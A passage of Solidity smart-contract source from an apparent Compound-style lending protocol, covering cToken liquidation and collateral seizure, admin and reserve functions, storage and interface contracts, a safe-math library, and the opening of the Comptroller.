return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayBorrow fails */
(uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount);
require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
uint seizeError;
if (address(cTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrow event */
emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens);
/* We call the defense hook */
comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint(Error.NO_ERROR), actualRepayAmount);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another cToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(address liquidator, address borrower, uint seizeTokens) external override nonReentrant returns (uint) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken.
* Its absolutely critical to use msg.sender as the seizer cToken and not a parameter.
* @param seizerToken The contract seizing the collateral (i.e. borrowed cToken)
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) {
/* Fail if seize not allowed */
uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
}
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
/*
* We calculate the new borrower and liquidator token balances, failing on underflow/overflow:
* borrowerTokensNew = accountTokens[borrower] - seizeTokens
* liquidatorTokensNew = accountTokens[liquidator] + seizeTokens
*/
(mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
}
(mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
/* Emit a Transfer event */
emit Transfer(borrower, liquidator, seizeTokens);
/* We call the defense hook */
comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);
return uint(Error.NO_ERROR);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external override returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external override returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets a new comptroller for the market
* @dev Admin function to set a new comptroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setComptroller(ComptrollerInterface newComptroller) public override returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
ComptrollerInterface oldComptroller = comptroller;
// Ensure invoke comptroller.isComptroller() returns true
require(newComptroller.isComptroller(), "marker method returned false");
// Set market's comptroller to newComptroller
comptroller = newComptroller;
// Emit NewComptroller(oldComptroller, newComptroller)
emit NewComptroller(oldComptroller, newComptroller);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint newReserveFactorMantissa) external override nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
/**
* @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
* @dev Admin function to set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
// Verify market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
// Check newReserveFactor ≤ maxReserveFactor
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Accrues interest and reduces reserves by transferring from msg.sender
* @param addAmount Amount of addition to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
(error, ) = _addReservesFresh(addAmount);
return error;
}
/**
* @notice Add reserves by transferring from caller
* @dev Requires fresh interest accrual
* @param addAmount Amount of addition to reserves
* @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
*/
function _addReservesFresh(uint addAmount) internal returns (uint, uint) {
// totalReserves + actualAddAmount
uint totalReservesNew;
uint actualAddAmount;
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the caller and the addAmount
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken holds an additional addAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
actualAddAmount = doTransferIn(msg.sender, addAmount);
totalReservesNew = totalReserves + actualAddAmount;
/* Revert on overflow */
require(totalReservesNew >= totalReserves, "add reserves unexpected overflow");
// Store reserves[n+1] = reserves[n] + actualAddAmount
totalReserves = totalReservesNew;
/* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
/* Return (NO_ERROR, actualAddAmount) */
return (uint(Error.NO_ERROR), actualAddAmount);
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint reduceAmount) external override nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
return _reduceReservesFresh(reduceAmount);
}
/**
* @notice Reduces reserves by transferring to admin
* @dev Requires fresh interest accrual
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
// totalReserves - reduceAmount
uint totalReservesNew;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
// Fail gracefully if protocol has insufficient underlying cash
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
// Check reduceAmount ≤ reserves[n] (totalReserves)
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
totalReservesNew = totalReserves - reduceAmount;
// We checked reduceAmount <= totalReserves above, so this should never revert.
require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
// Store reserves[n+1] = reserves[n] - reduceAmount
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
doTransferOut(admin, reduceAmount);
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public override returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
// _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
return _setInterestRateModelFresh(newInterestRateModel);
}
/**
* @notice updates the interest rate model (*requires fresh interest accrual)
* @dev Admin function to update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
// Used to store old model for use in the event that is emitted on success
InterestRateModel oldInterestRateModel;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
// Track the market's current interest rate model
oldInterestRateModel = interestRateModel;
// Ensure invoke newInterestRateModel.isInterestRateModel() returns true
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// Set the interest rate model to newInterestRateModel
interestRateModel = newInterestRateModel;
// Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel)
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint(Error.NO_ERROR);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view virtual returns (uint);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(address from, uint amount) internal virtual returns (uint);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(address payable to, uint amount) internal virtual;
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ComptrollerInterface.sol";
import "./InterestRateModel.sol";
contract CTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / block)
*/
uint internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-cToken operations
*/
ComptrollerInterface public comptroller;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0)
*/
uint internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint public reserveFactorMantissa;
/**
* @notice Block number that interest was last accrued at
*/
uint public accrualBlockNumber;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping (address => uint) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping (address => mapping (address => uint)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
}
abstract contract CTokenInterface is CTokenStorage {
/**
* @notice Indicator that this is a CToken contract (for inspection)
*/
bool public constant isCToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint mintAmount, uint mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when comptroller is changed
*/
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/**
* @notice Failure event
*/
event Failure(uint error, uint info, uint detail);
/*** User Interface ***/
function transfer(address dst, uint amount) external virtual returns (bool);
function transferFrom(address src, address dst, uint amount) external virtual returns (bool);
function approve(address spender, uint amount) external virtual returns (bool);
function allowance(address owner, address spender) external view virtual returns (uint);
function balanceOf(address owner) external view virtual returns (uint);
function balanceOfUnderlying(address owner) external virtual returns (uint);
function getAccountSnapshot(address account) external view virtual returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view virtual returns (uint);
function supplyRatePerBlock() external view virtual returns (uint);
function totalBorrowsCurrent() external virtual returns (uint);
function borrowBalanceCurrent(address account) external virtual returns (uint);
function borrowBalanceStored(address account) public view virtual returns (uint);
function exchangeRateCurrent() public virtual returns (uint);
function exchangeRateStored() public view virtual returns (uint);
function getCash() external view virtual returns (uint);
function accrueInterest() public virtual returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external virtual returns (uint);
function _acceptAdmin() external virtual returns (uint);
function _setComptroller(ComptrollerInterface newComptroller) public virtual returns (uint);
function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint);
function _reduceReserves(uint reduceAmount) external virtual returns (uint);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint);
}
contract CErc20Storage {
/**
* @notice Underlying asset for this CToken
*/
address public underlying;
}
abstract contract CErc20Interface is CErc20Storage {
/*** User Interface ***/
function mint(uint mintAmount) external virtual returns (uint);
function redeem(uint redeemTokens) external virtual returns (uint);
function redeemUnderlying(uint redeemAmount) external virtual returns (uint);
function borrow(uint borrowAmount) external virtual returns (uint);
function repayBorrow(uint repayAmount) external virtual returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external virtual returns (uint);
/*** Admin Functions ***/
function _addReserves(uint addAmount) external virtual returns (uint);
}
contract CDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
abstract contract CDelegatorInterface is CDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public virtual;
}
abstract contract CDelegateInterface is CDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public virtual;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public virtual;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Careful Math
* @author Compound
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
import "./ErrorReporter.sol";
import "./Exponential.sol";
import "./PriceOracle.sol";
import "./ComptrollerInterface.sol";
import "./ComptrollerStorage.sol";
import "./Unitroller.sol";
import "./Governance/Dop.sol";
/**
* @title Compound's Comptroller Contract
* @author Compound
*/
contract Comptroller is ComptrollerV4Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential {
/// @notice Emitted when an admin supports a market
event MarketListed(CToken cToken);
/// @notice Emitted when an account enters a market
event MarketEntered(CToken cToken, address account);
/// @notice Emitted when an account exits a market
event MarketExited(CToken cToken, address account);
/// @notice Emitted when close factor is changed by admin
event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa);
/// @notice Emitted when a collateral factor is changed by admin
event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa);
/// @notice Emitted when liquidation incentive is changed by admin
event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);
/// @notice Emitted when maxAssets is changed by admin
event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets);
/// @notice Emitted when price oracle is changed
event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);
/// @notice Emitted when pause guardian is changed
event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);
/// @notice Emitted when an action is paused globally
event ActionPaused(string action, bool pauseState);
/// @notice Emitted when an action is paused on a market
event ActionPaused(CToken cToken, string action, bool pauseState);
/// @notice Emitted when market comped status is changed
event MarketComped(CToken cToken, bool isComped);
/// @notice Emitted when COMP rate is changed
event NewCompRate(uint oldCompRate, uint newCompRate);
/// @notice Emitted when a new COMP speed is calculated for a market
event CompSpeedUpdated(CToken indexed cToken, uint newSpeed);
/// @notice Emitted when COMP is distributed to a supplier
event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex);
/// @notice Emitted when COMP is distributed to a borrower
event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex);
/// @notice Emitted when borrow cap for a cToken is changed
event NewBorrowCap(CToken indexed cToken, uint newBorrowCap);
/// @notice Emitted when borrow cap guardian is changed
event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian);
/// @notice The threshold above which the flywheel transfers COMP, in wei
uint public constant compClaimThreshold = 0.001e18;
/// @notice The initial COMP index for a market
uint224 public constant compInitialIndex = 1e36;
// closeFactorMantissa must be strictly greater than this value
uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05
// closeFactorMantissa must not exceed this value
uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9
// No collateralFactorMantissa may exceed this value
uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9
// liquidationIncentiveMantissa must be no less than this value
uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0
// liquidationIncentiveMantissa must be no greater than this value
uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5
constructor() public {
admin = msg.sender;
}
/*** Assets You Are In ***/
/**
* @notice Returns the assets an account has entered
* @param account The address of the account to pull assets for
* @return A dynamic list with the assets the account has entered
*/
function getAssetsIn(address account) external view returns (CToken[] memory) {
CToken[] memory assetsIn = accountAssets[account];
return assetsIn;
}
/**
* @notice Returns whether the given account is entered in the given asset
* @param account The address of the account to check
* @param cToken The cToken to check
* @return True if the account is in the asset, otherwise false.
*/
function checkMembership(address account, CToken cToken) external view returns (bool) {
return markets[address(cToken)].accountMembership[account];
}
/**
* @notice Add assets to be included in account liquidity calculation
* @param cTokens The list of addresses of the cToken markets to be enabled
* @return Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] memory cTokens) public override returns (uint[] memory) {
uint len = cTokens.length;
uint[] memory results = new uint[](len);
for (uint i = 0; i < len; i++) {
CToken cToken = CToken(cTokens[i]);
results[i] = uint(addToMarketInternal(cToken, msg.sender));
}
return results;
}
/**
* @notice Add the market to the borrower's "assets in" for liquidity calculations
* @param cToken The market to enter
* @param borrower The address of the account to modify
* @return Success indicator for whether the market was entered
*/
function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) {
Market storage marketToJoin = markets[address(cToken)];
if (!marketToJoin.isListed) {
// market is not listed, cannot join
return Error.MARKET_NOT_LISTED;
}
if (marketToJoin.accountMembership[borrower] == true) {
// already joined
return Error.NO_ERROR;
}
if (accountAssets[borrower].length >= maxAssets) {
// no space, cannot join
return Error.TOO_MANY_ASSETS;
}
// survived the gauntlet, add to list
// NOTE: we store these somewhat redundantly as a significant optimization
// this avoids having to iterate through the list for the most common use cases
// that is, only when we need to perform liquidity checks
// and not whenever we want to check if an account is in a particular market
marketToJoin.accountMembership[borrower] = true;
accountAssets[borrower].push(cToken);
emit MarketEntered(cToken, borrower);
return Error.NO_ERROR;
}
/**
* @notice Removes asset from sender's account liquidity calculation
* @dev Sender must not have an outstanding borrow balance in the asset,
* or be providing necessary collateral for an outstanding borrow.
* @param cTokenAddress The address of the asset to be removed
* @return Whether or not the account successfully exited the market
*/
function exitMarket(address cTokenAddress) external override returns (uint) {
CToken cToken = CToken(cTokenAddress);
/* Get sender tokensHeld and amountOwed underlying from the cToken */
(uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender);
require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code
/* Fail if the sender has a borrow balance */
if (amountOwed != 0) {
return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);
}
/* Fail if the sender is not permitted to redeem all of their tokens */
uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld);
if (allowed != 0) {
return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);
}
